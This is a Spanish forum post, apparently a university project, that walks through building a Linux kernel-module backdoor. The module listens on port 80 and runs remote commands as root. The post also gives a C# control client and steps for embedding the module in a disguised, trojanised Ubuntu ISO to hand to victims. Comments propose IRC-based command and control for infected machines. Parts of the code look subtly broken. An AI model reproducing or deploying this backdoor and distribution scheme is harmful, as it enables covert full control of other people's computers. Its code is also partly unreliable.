Creando un backdoor en Ubuntu

Imagen de nemsys
0 puntos

A continuación paso a publicar un trabajo realizado para la universidad con el fin de encontrarle mejoras, y compartirlo con mis compañeros de clase.

Vale aclarar que el trabajo ya fue terminado y entregado, por lo que no hay problema en publicar cualquier mejora.

Objetivo
Nuestra práctica presenta como objetivo la demostración de cómo se podría realizar un ataque mezclando diferentes técnicas, algunas de ingeniería social y también malware ya que el mismo simula un backdoor, todo desde el kernel de un sistema operativo Linux, específicamente Ubuntu.
El objetivo de este backdoor es establecer una comunicación con un intruso sin permiso del usuario anfitrión, y darle el completo control de los comandos del sistema operativo al intruso.


La idea
Partimos de la idea de poder explotar toda la potencia de la maquina anfitrión, donde no queríamos tener restricciones a la hora del poder que le estamos dando al intruso, o sea que no esté atado a las herramientas que nosotros programamos y que el mismo pueda desarrollar a partir de nuestro sistema sus herramientas.
De esta manera queda más claro el problema, pero la solución no esta tan clara.
Realización
En el kernel de Linux se trabaja en C y está estructurado en forma de módulos, el sistema operativo al arrancar levanta los módulos que se indican en la configuración del kernel y brindan los servicios necesarios al usuario para usar su computador.

Por definición un modulo es un trozo de código que puede ser cargado o descargado del núcleo a demanda. Con lo que estos extienden la funcionalidad del núcleo sin necesidad de reiniciar el sistema.

Nuestro trabajo fue crear un modulo, introducirlo en el sistema operativo y generar una distribución no autorizada por la comunidad de Ubuntu con nuestro código malicioso, para posteriormente repartir a quien vamos a atacar.


Paso 1: Descargando el Código Fuente
Cualquier función que se quiera utilizar dentro de nuestro modulo seguramente haga referencia a otro modulo del ya existente sistema operativo, en nuestro caso esto ocurre así.
Por lo que conviene descargar el código fuente para ver sus funciones y aprender a usarlas.

Para descargar el código fuente se debe tener actualizado la lista de paquetes.
Primero vamos a la terminal de comandos, al iniciar esta nos deja ubicados en el ambiente de trabajo de nuestro usuario, desde allí ejecutamos:

sudo apt-get update

La palabra sudo es para ejecutar el comando con permisos de administrador, por lo que luego de ejecutar esa línea le va a pedir la clave al usuario.

sudo apt-get install linux-source

Esta línea va a descargar un archivo “.tar.bz2” que es un comprimido, con el código fuente de nuestra versión instalada de Linux, al directorio “/usr/src/”.
Ahora solo hay que descomprimirlo.

tar xfjv /usr/src/linux-source-2.6.****.tar.bz2

Los asteriscos indican la versión de la distribución, estos en nuestro caso son la “31”, pero debería corroborarse cual es la que descargo para ejecutar esta línea.
Con esto ya tenemos el código fuente para explorar y modificar, en la ruta “/usr/src/linux-source-2.6.31” (el 31 es en nuestro caso).


Paso 2: Creando nuestro primer Modulo
Como ya antes definimos, un modulo extiende la funcionalidad del núcleo sin necesidad de reiniciar el sistema, y este concepto fue el que aprovechamos para crear y testear nuestro modulo.
Primero creamos un archivo donde escribir el código de nuestro modulo, en nuestro caso “backdoor.c” en cualquier ruta de destino, ya que no necesita estar adjunto al directorio del código fuente para ser levantado. Se podría crear haciendo:
echo “” > backdoor.c

Este genera el fichero vacio, y posteriormente podremos editarlo.

gedit backdoor.c

Esta línea abre el archivo posteriormente creado o no, ya que si el mismo no está creado el Gedit crea el archivo en memoria con ese nombre y luego solo hay que guardar antes de salir y en ese momento crea el archivo en el directorio indicado.

Cuando se inicia un modulo este llama una función indicada en su construcción y cuando se cierra su ejecución también llama a una función para el cierre. Estas funciones mas la firma del modulo garantizan el correcto funcionamiento de un modulo en el kernel.
Para ello en el código se debe importar la librería de módulos del kernel con la línea

#include <linux/module.h>

Luego en el código se debe declarar quien es el método inicial y quien es el final

module_init(iniciar);
module_exit(salir);

Los parámetros que reciben estos métodos son funciones anteriormente declaradas.
Y por ultimo debería de firmarse el modulo.

MODULE_AUTHOR(“Martin-Jorge”);
MODULE_DESCRIPTION(“Backdoor”);
MODULE_LICENSE("GPL");

En nuestro caso para mantener la discreción del creador del backdoor solo firmamos la licencia, para que en el log del kernel no informe al usuario que está usando un modulo sin licencia declarada.
Ahora solo queda declarar la función iniciar y salir.

static int iniciar(){
	printk(“INICIANDO\n”);
	return 0;
}

static void salir(){
	printk(“SALIENDO\n”);
}

La función inicial debe retornar 0 para validar que el modulo levanto correctamente, sino aparecerá en el log detallado que el modulo no está funcionando correctamente.
La función printk(char *); imprime en el log el char * que se le paso por parámetros, este log se encuentra en /var/log/kern.log , aquí se encuentra el log entero del kernel, desde que inicia hasta que cierra.

En nuestro caso quizás queramos ver el log vacio para testear mejor nuestra aplicación por lo que deberíamos ejecutar en la terminal.

sudo su –

Esto es para iniciar como root, por lo que nos pide nuestra clave en la siguiente línea.

echo “” > /var/log/kern.log

Esto vacía el fichero del log.

Ahora hay que levantar el modulo para que corra lo que programamos, para ello hay que compilarlo y luego levantarlo.
Para compilar un modulo en Ubuntu hay que crear un archivo “Makefile” sin extensión, dentro del mismo directorio donde está el archivo ”.c” de nuestro código.
Un archivo “Makefile” contiene: comentarios, variables, reglas explicitas y reglas implícitas.
Un ejemplo seria:

obj-m += backdoor.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Lo que indica la regla “all:” es lo que va a realizar al ejecutar “make” en la terminal, lo que indica la regla “clean” es lo que se ejecuta al hacer “make clean”.
Todo lo que se encierre entre “$(…)” son variables, en este caso “shell úname –r” va a retornar el nombre del kernel en uso, y la variable PWD contiene la ruta al directorio actual que al hacer M=$(PWD) indica que va a retornar el resultado de la compilación a ese directorio.
Pero a fin de simplificar se puede declarar el “makefile” con la regla “default:” de esta manera:

obj-m += backdoor.o

default:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

Ahora el modulo está listo para compilar, hay que pararse en el directorio donde se encuentren estos dos archivos y ejecutar “make”.
Esto nos va a generar varios ficheros, a nosotros nos importa el que tiene la extensión “.ko”, este es el nuevo modulo a levantar, se pueden ejecutar comandos sobre el modulo como:
modinfo backdoor.ko
Este va a imprimir en pantalla la firma del modulo.

Lo que realmente nos importa es probarlo, para ello hay dos comandos, “insmod” y “modprobe” en teoría hacen lo mismo, por lo que vamos a usar insmod

sudo ./insmod backdoor.ko

Nuestro modulo ya esta ejecutándose, por lo que podemos verlo en la lista de módulos activos con “lsmod”. Ahora queremos ver si realizo las tareas programadas, por lo que necesitamos ver el archivo del log por lo que ejecutamos:

sudo gedit /var/log/kern.log

Y nos aparecerá en pantalla el contenido del archivo del log con el Gedit.
Hasta el momento en el log debemos poder encontrar la línea que contenga el texto “INICIANDO”, ya que solo levantamos el modulo.
Ahora para bajar el modulo debemos ejecutar:

sudo rmmod backdoor

Ahora al ver el log podemos encontrar una línea que diga “INICIANDO” y en la línea de abajo el texto “SALIENDO”, con esto validamos que el modulo está funcionando correctamente.
Con esto ahora solo nos queda saber programar en C y editar el archivo “backdoor.c”.


Paso 3: Creando una “puerta trasera”

Nuestro Modulo Servidor "Backdoor.c":

#include <net/sock.h>
#include <linux/string.h>
#include <linux/module.h>
#include <linux/kmod.h>
#include <linux/kthread.h>

MODULE_LICENSE("GPL");

struct task_struct *ts;

struct socket* crear_socket(int port_no) {
	struct socket *sock;
	struct sockaddr_in dir;
	int error;
	
	error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&sock) ;

	if (error<0)
		printk("Error en al crear socket\n");
	
	dir.sin_family = AF_INET;
	dir.sin_addr.s_addr = INADDR_ANY;
	dir.sin_port = htons(port_no);

	error = sock->ops->bind(sock,(struct sockaddr*)&dir, sizeof(dir));
	if (error<0){
		printk("Error al ligar el socket\n");
		return 0;
	}

	return sock;
}

int escuchar(struct socket *sock){
	int error;

	error = sock->ops->listen(sock, 10);

	return error;
}

struct socket* acepto(struct socket *sock) {
	struct socket * newsock;
	int error;

	error = sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&newsock);
	if (error<0)
		printk("Error creando el socket secundario\n");

	newsock->type = sock->type;
	newsock->ops = sock->ops;

	error = newsock->ops->accept(sock,newsock,0);

	if (error<0) {
		printk("Error aceptando la conexion\n") ;
		return 0;
	}
	return newsock;
}

int cerrar(struct socket *sock)
{
	int error;
	error = sock->ops->release(sock);
	if (sock)
		sock_release(sock);
	return error;
}

size_t envio_dato(struct socket *sock, void *Buffer, size_t Length){
	struct msghdr msg;
	mm_segment_t oldfs;
	struct iovec iov; 
	int len2;
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;

	msg.msg_flags = MSG_NOSIGNAL;

	iov.iov_base = (void *) Buffer;
	iov.iov_len = (size_t) Length;

	oldfs = get_fs(); set_fs(KERNEL_DS);

	len2 = sock_sendmsg(sock,&msg,(size_t)(Length));

	set_fs(oldfs);

	return len2;
}

size_t recibo_dato(struct socket *sock, void *Buffer, size_t Length){
	struct msghdr msg;
	struct iovec iov;

	int len;
	mm_segment_t oldfs;
	
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags = 0;

	iov.iov_base = (void *)Buffer;
	iov.iov_len = (size_t)Length;

	oldfs = get_fs();
	set_fs(KERNEL_DS);
	len = sock_recvmsg(sock,&msg,Length,0);
	set_fs(oldfs);

	return len;
}

int ejecutar(char *comando, char *arg){
	struct subprocess_info *sub_info;
	char *argv[] = { comando, arg, NULL };
	
	sub_info = call_usermodehelper_setup( argv[0], argv, NULL, GFP_ATOMIC );
	if (sub_info == NULL)
		return -1;
	return call_usermodehelper_exec( sub_info, UMH_WAIT_PROC );
}

struct resultado {
	char *cmd;
	char *args;
};

struct resultado * fsplit(const char *comando) {
	struct resultado *r = (struct resultado*)kmalloc(sizeof(struct resultado) * 1, GFP_ATOMIC);
	const char *itr;
	int i = 0;
	for(itr=comando; *itr && *itr != ' '; itr++) i++;
	if(*itr){
		r->cmd = (char*)kmalloc(sizeof(char) * i + 1, GFP_ATOMIC);
		r->args = (char*)kmalloc(sizeof(char) * strlen(comando) - i, GFP_ATOMIC);

		strncpy(r->cmd, comando, i);
		r->cmd[i] = '\0';
		strcpy(r->args, itr+1);
	}
	else{
		r->cmd = comando;
		r->args = NULL;
	}
	
	return r;
}

int atoi(char* pStr){
	int iRetVal = 0;
	if (pStr){
		while(*pStr && *pStr <= '9' && *pStr >= '0'){
			iRetVal = (iRetVal * 10) + (*pStr - '0');
			pStr++;
		}
	} 
	return iRetVal; 
}

char *itoa(int n){
	static char digitos[] = "0123456789";
	char *resultado = (char *)kmalloc(sizeof(char)* 3, GFP_KERNEL);
	
	if (n < 0){
		n = -n;
		resultado[0] = "-";
		resultado[1] = digitos[n];
		resultado[2] = '\0';
	}
	else{
		resultado[0] = digitos[n];
		resultado[1] = '\0';
	}
	return resultado;
}

char * reciboTexto(struct socket* sock){
	char *lar = (char *)kmalloc(sizeof(char)* 1, GFP_KERNEL);
	recivo_dato(sock, lar, 1);
	int largo = lar[0];

	char *texto = (char *)kmalloc(sizeof(char)* largo, GFP_KERNEL);
	recivo_dato(sock, texto, largo);
	texto[largo] = '\0';

	return texto;
}

int backdoor(){

	struct socket *sockcli, *sock;

	sock = crear_socket(80);
	while(!kthread_should_stop()){
		escuchar(sock);
		sockcli = acepto(sock);

		if (sockcli) {
			envio_dato(sockcli, "CONECTADO", 9);
		
			bool salir = false;
			while(!salir){
				char * texto = reciboTexto(sockcli);
				struct resultado* sp = fsplit(texto);
				if(strcmp(sp->cmd,"SALIR")==0){
					envio_dato(sockcli, "SALIENDO", 8);
					salir = true;
				}
				else{
					int result = ejecutar(sp->cmd, sp->args);
					envio_dato(sockcli, itoa(result), 3);
				}
			}
			cerrar(sockcli);
		}
	}
	cerrar(sock);
	return 0;
}

static int __init iniciar(){
	ts = kthread_create(backdoor,NULL,"backdoor");
	wake_up_process(ts);
	return 0;
}

static void __exit salir(){
	kthread_stop(ts);
}

module_init(iniciar);
module_exit(salir);

Makefile

obj-m := backdoor.o

default:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

Tal como se indica en el punto anterior nuestro modulo tiene dos funciones básicas, la de inicio y la de fin. En la función de inicio mediante la librería “kthread.h” se levanta un hilo de ejecución, el objetivo de levantar un hilo es que el modulo rápidamente retorne “0” para que el núcleo sepa que este inicio correctamente y está funcionando bien.
Este nuevo hilo de ejecución llama a la función “backdoor” y le pasa por parámetros “NULL” que son los argumentos que recibe la función backdoor, que en este caso no tiene, y por ultimo un nombre.
Al iniciar la función backdoor hay un “while(!kthread_should_stop())” que pregunta “mientras no me quieran cerrar”, cuando se quiera descargar el modulo esa función va a retornar true, o sea que están queriendo bajar el hilo, que es lo que hace la función “kthread_stop(ts)”.
Luego que nuestra función entra en este while, nuestro socket escucha conexiones para luego aceptarlas, cuando acepta una conexión la duplica y retorna la nueva conexión funcionando.
El siguiente “if” indica que si el socket fue creado envía el texto “CONECTADO”, y genera un “bool” para esperar que el cliente le dé la orden de cerrar.
Ahora se queda recibiendo datos y separándolos por espacios, lo que hace la función “fsplit”, esta separa el texto recibido en dos mediante una estructura declarada “resultado” la primera parte es el comando y la parte luego del espacio son los argumentos, por nuestra decisión todo texto que se reciba va a ser o un comando o el texto “SALIR” entonces si recibe como comando este texto envía al cliente “SALIENDO” y sale del primer loop.
Lo que hace “fsplit” es todo lo que este antes del primer espacio lo guarda como comando y todo lo que le sigue como argumento. Si no hay nada luego del espacio setea los argumentos en “null”.
Ahora en el caso de que no sea salir va a ejecutar la línea que le mandaron, si esta línea ejecuta correctamente retorna “0”, y le envía el resultado de la ejecución al cliente.
Para cualquier programa que se quiera ejecutar se debe escribir la ruta completa, porque uno de los argumentos de la función “= call_usermodehelper_setup” es el entorno de ejecución, el cual pusimos en “null” ya que colocando algunos ejemplos que vimos no encontraba la ruta automáticamente para la ejecución, y no ejecutaba lo que pedíamos.
Ejemplo “/bin/sh algo.sh”

Nuestro Cliente:

using System.Net;
using System.Net.Sockets;
using System.IO;

namespace Cliente
{
    public partial class Cliente : Form
    {

        TcpClient tcpclnt;
        Stream stm;

        public Cliente()
        {
            InitializeComponent();
        }

        public void enviarTexto(string texto)
        {
            ASCIIEncoding asen = new ASCIIEncoding();
            byte[] ba = new byte[texto.Length];
            ba = asen.GetBytes(texto);
            stm.Write(ba, 0, ba.Length);
        }

        public void enviarNumero(int num)
        {
            ASCIIEncoding asen = new ASCIIEncoding();
            byte numero = byte.Parse(num.ToString());
            stm.WriteByte(numero);
        }

        public string recibirTexto()
        {
            String texto = "";
            stm = tcpclnt.GetStream();
            byte[] bb = new byte[100];
            int k = stm.Read(bb, 0, 100);
            for (int i = 0; i < k + 3; i++)
                texto = texto + Convert.ToChar(bb[i]);
            return texto;
        }

        public string recibirNumero()
        {
            String texto = "";
            stm = tcpclnt.GetStream();
            byte[] bb = new byte[100];
            int k = stm.Read(bb, 0, 100);
            for (int i = 0; i < k + 3; i++)
                texto = texto + Convert.ToInt16(bb[i]);
            return texto;
        }

        public void conectar()
        {
            try
            {
                tcpclnt = new TcpClient();
                tcpclnt.Connect(txt_ip.Text, int.Parse(txt_puerto.Text));
                this.log.Text = this.log.Text + "\n" + recibirTexto();
            }
            catch (Exception e)
            {
                MessageBox.Show(e.Message, "ERROR");
            }
        }

        private void btn_conectar_Click(object sender, EventArgs e)
        {
            conectar();
        }

        private void enviar()
        {
            try
            {
                enviarNumero(txt_consola.Text.Length);
                System.Threading.Thread.Sleep(1000);
                enviarTexto(txt_consola.Text);
                this.log.Text = this.log.Text + "\n" + recibirTexto();
                this.txt_consola.Text = "";
            }
            catch (Exception e)
            {
                MessageBox.Show(e.Message, "ERROR");
            }
        }

        private void btn_enviar_Click(object sender, EventArgs e)
        {
            this.enviar();
        }

        private void conectar_handler(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
                this.conectar();
        }

        private void enviar_handler(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
                this.enviar();
        }

    }
}

Seguramente no les guste que el cliente este echo en .NET, pero bueno hay que entender que soy usuario de Windows y que ya tenia ejemplos de como hacer esto en
.NET a pesar que podría haber intentado hacerlo en java, esto queda para aquellos que no quieran instalar Windows para crear el cliente y prefieran hacerlo en java, si es así compartan.

Este cliente lo que hace es conectarse a una dirección IP y un puerto ingresados en los “textboxs”, para ello usa un componente llamado “TcpClient”.
Los datos se transmiten por un objeto “Stream” este objeto se comunica con el servidor y transmite “bytes”, por lo que cualquier dato que se deba primero se convierte en “byte” y luego se escribe en el “buffer” de comunicación.
A la hora del envió primero envía el largo del texto que va a enviar y luego hace un “sleep” esto se debe a que para realmente envié debe haber un “timeout” entonces si no se espera un plazo de tiempo los dos datos enviados llegan contiguos.


Paso 4: Generando nuestra distribución
Para crear nuestra distribución utilizamos una herramienta que se llama “Ubuntu Customization Kit” (UCK) descargamos la versión “2.2.0” directamente de la pagina. ¿Por que descargar esa versión y no la que aparecen en los repositorios de Ubuntu? por que la que esta en los repositorios tiene un "bug" al tratar de borrar unos archivos que genera el mismo programa y no permite completar la "remasterizacion".
Luego lo instalamos parándonos sobre el directorio donde descargo y ejecutamos el comando:
sudo dpkg –i uck_2.2.0-0ubuntu1_all.deb

Ahora encontramos la aplicación en el menú “Aplicaciones/ Herramientas del Sistema/ Ubuntu Customization Kit”
Lo ejecutamos y luego muestra la pantalla de inicio.
El siguiente paso elige el paquete de idioma a instalar, en este caso elegimos el español (es).
Siguiente paso se elige el idioma con el que arrancara el LiveCd.
Siguiente paso el tipo de escritorio a usar.
Siguiente paso se selecciona la “iso” del Ubuntu que se quiere personalizar para eso se elige la “iso” del directorio donde está y se presiona aceptar, en nuestro caso seleccionamos la 10.4.
Siguiente paso se le pone el nombre al CD de la “iso” con el nombre que quiéranos el cual colocamos “Ubuntu 13” (el 13 por la mala suerte).
Siguiente paso el sistema pregunta si queremos personalizar el CD manualmente donde le ponemos que sí.
Siguiente paso el sistema pregunta si queremos eliminar todos los paquetes win32 o de Windows del CD que en nuestro caso pusimos que no para disimular mejor que no sea una distribución oficial.
Siguiente paso el sistema avisa que tiene toda la información que necesita para empezar el proceso de personalización del CD o “iso” de Ubuntu. También muestra en qué lugar va a ser generada la “iso”.
Siguiente paso me aprese el siguiente mensaje:[sudo] password for Martin: donde hay que introducir mi contraseña de usuario.
Siguiente paso hay que esperar que el proceso termine lo cual nos puede tardar entre 5 y 12 minutos.
Siguiente paso se escoge la forma de personalizar la “iso”, para lo cual elegimos Run Console Aplication y nos abre una terminal. Esta consola esta parada sobre el usuario root virtual que genera el UCK para poder editar el sistema operativo y modificar lo que necesitemos, aquí es donde nosotros vamos a agregar nuestro modulo.
Primero vamos a hacer que nuestro modulo se levante en el arranque, para ello hay que editar el archivo “modules” en la carpeta “etc”, por lo que ejecutamos el comando:

gedit /etc/modules 

Y agregar a final del archivo el nombre de nuestro modulo o sea “backdoor” luego cerramos y guardamos.
Ahora hay que colocar el modulo en la carpeta “/lib/modules/2.6.32-21-generic/kernel/net”

Para ello debemos abrir una nueva terminal ya que no tenemos acceso al resto del disco duro desde la terminal que nos brinda UCK.
Desde esta nueva terminal abierta debemos pararnos donde compilamos el modulo que en nuestro caso es la carpeta locl del usurio, y ejecutar:

cp backdoor.ko tmp/remaster-root/lib/modules/2.6.32-21-generic/kernel/net

esta linea indica que se copie en la dirección donde el UCK está generando nuestra futura distribución, este directorio se encuentra en nuestra carpeta de usuario, y se llama “tmp” ahí dentro luego de terminar la remasterización va a quedar nuestro “.iso”.
Ahora nos falta actualizar la lista de dependencias de módulos para que nuestro modulo no tenga problemas de ejecución por que le falte alguna función, esto se puede hacer desde l terminal del UCK.
Nos paramos en la ruta “/lib/modules/2.6.32-21” y ejecutamos el comando:

depmod –a

y actualiza las dependencias de los módulos activos.
Y listo con eso ya metimos nuestro modulo en el nuevo sistema operativo, ahora salimos de la terminal del UCK y ponemos Continue Building.
Ahora luego de que construya la distribución nos va a dejar un “.iso” en el directorio “/tmp/remaster-new-files” con el nombre “livecd.iso”.
Solo nos queda quemar este disco y tenemos nuestra nueva distribución de Ubuntu.


Conclusiones
Este sistema está falto de poder fuera de la red que se integra, por ejemplo si no se conoce el servidor que está usando el sistema operativo no nos podemos conectar al mismo. Sin embargo esto se puede realizar seguramente cambiando alguna bandera a la hora de crear el socket y abrir el puerto a internet, de todas maneras estaríamos adivinando quien abrió el socket a la hora de conectarnos, a menos que también se le agregue código para que comunique a un servidor o vía mail a algún usuario, la IP de la maquina y este con ese dato se conecte, pero esto queda para versiones posteriores.
El poder de este modulo es enorme ya que nos da plena libertad de ejecución remotamente y podríamos hacer absolutamente todo lo que deseemos con el sistema desde fuera.
Se puede detectar el funcionamiento de nuestro modulo de varias maneras, una de ellas es escaneando los puertos, también podría no funcionar nuestro sistema si hay firewalls externos que corten la comunicación entre el cliente y el servidor, también se puede ver el modulo ejecutando “lsmod”, pero aun así si nos topamos con un usuario que recién comienza en Ubuntu no le va a ser fácil enterarse.

ESPERO COMENTARIOS Y MEJORAS

Imagen de tRaCk3r
+1
0
-1

El primer problema es como conseguir que alguien instale el deb. Me imagino que esto es lo que nos cuentas como ingenieria social.

En cuanto a lo de saber la IP del server, yo lo que hacía en mis tiempos, era crear un canal en IRC y todos los infectados entraban dentro, el nick era el nombre de la máquina y un random.

Al entrar normalmente en IRC (desde un cliente normal), todo parecía normal excepto que las personas no hablan :) pues son PCs infectados... el tema era hacer un privado con la palabra "secreta" para que dijeran su correspondiente IP y listos.

Implementar esto a tu código no creo que sea un problema y solucionas el tema de no conocer la IP. Por lo demás un trabajo estupendo, no por lo del backdoor, si no por el tema de hacer un módulo del kernel de una forma tan didáctica :)

Ánimo y a seguir con ello.

+1
0
-1

 


tRaCk3r
http://tetosoft.com
ubuntu user #007044
linux user #319025
PC number #309252
Imagen de nemsys
+1
0
-1

Primero gracias por tu opinion, luego veré de implementar el tema del IRC, que vale aclarar a quien lea y no sabe que IRC como define wikipedia es un protocolo de comunicación en tiempo real basado en texto:
http://es.wikipedia.org/wiki/Internet_Relay_Chat

En si no tenia pensado aprovecharlo realmente para realizar un ataque, por lo que los medios de como hacer que alguien lo obtenga quedan mas bien en la imaginación de cada uno, pero siempre tenes algún "amigo" que puede sin querer recibir de buen regalo el cd de esta distro ;-), ahora si pensamos en grande creo que ahí si tenemos un problema.

Saludos!

+1
0
-1
Imagen de Capa
+1
0
-1

Hace años, muchos años, era posible saber la dirección IP de un usuario de IRC.
Actualmente, hace años, muchos años, la dirección IP está encriptada.

Hasta donde yo sé, no es posible ver la IP de los usuarios IRC (al menos yo no conozco la forma de hacerlo).

Un buen tutorial. Excelente.

+1
0
-1
Imagen de tRaCk3r
+1
0
-1

Tal vez no lo expliqué bien... el tema no es saber la IP por medio de IRC, la cosa es que el trojan, se conecta a IRC como una persona normal, y cuando se le hace un privado y se le manda la palabra secreta, el trojan que si conoce la IP, la publica también por privado a la persona que se lo ha solicitado.

Vamos, que no se trata de desencriptar la IP del IRC (harto complicado que no imposible), si no de que el trojan, responde con ella a una pregunta del atacante (que será cualquiera que entre al canal y haga un privado con la contraseña correspondiente).

Esto lo hice y te aseguro que funciona, es más, cuando lo hice ya era encriptada la IP en IRC y no tuve problemas... ya que no tiene nada que ver.

Resumiendo, el trojan, conoce la IP, entra al canal del IRC, recibe un privado del atacante con la palabra secreta y trojan le da la IP.

Es una forma de conocer los datos de la víctima (ya que se pueden implementar otras cosas, hasta comandos shell) sin dar los tuyos. De otra forma, el atacado, podría conocer tu IP y como bien dices, actualmente por IRC no es posible (hasta cierto punto).

No se si te lo he dejado claro o te lo he complicado más aún :)

+1
0
-1

 


tRaCk3r
http://tetosoft.com
ubuntu user #007044
linux user #319025
PC number #309252
Imagen de Capa
+1
0
-1

Clarísimo.
Se conecta al IRC y se queda a la escucha de "órdenes".

Inicialmente pensé que el conectarse al IRC era para tú averiguar su IP a partir de su usuario de IRC (típicamente el whois al usuario).

Todo aclardo.

P.D: Que tiempos aquellos del IRC y los Nuke, etc, etc. Snif, Snif.

+1
0
-1
Imagen de tRaCk3r
+1
0
-1

Pues sí! buenos tiempos... ahora con facebook, twiter, gmail y la leche y compañía, cada uno a su bola y no hay quien se aclare...

Facebook hasta se atreve a decir que el email va a desaparecer... malditos! ESO NUNCA!

:)

+1
0
-1

 


tRaCk3r
http://tetosoft.com
ubuntu user #007044
linux user #319025
PC number #309252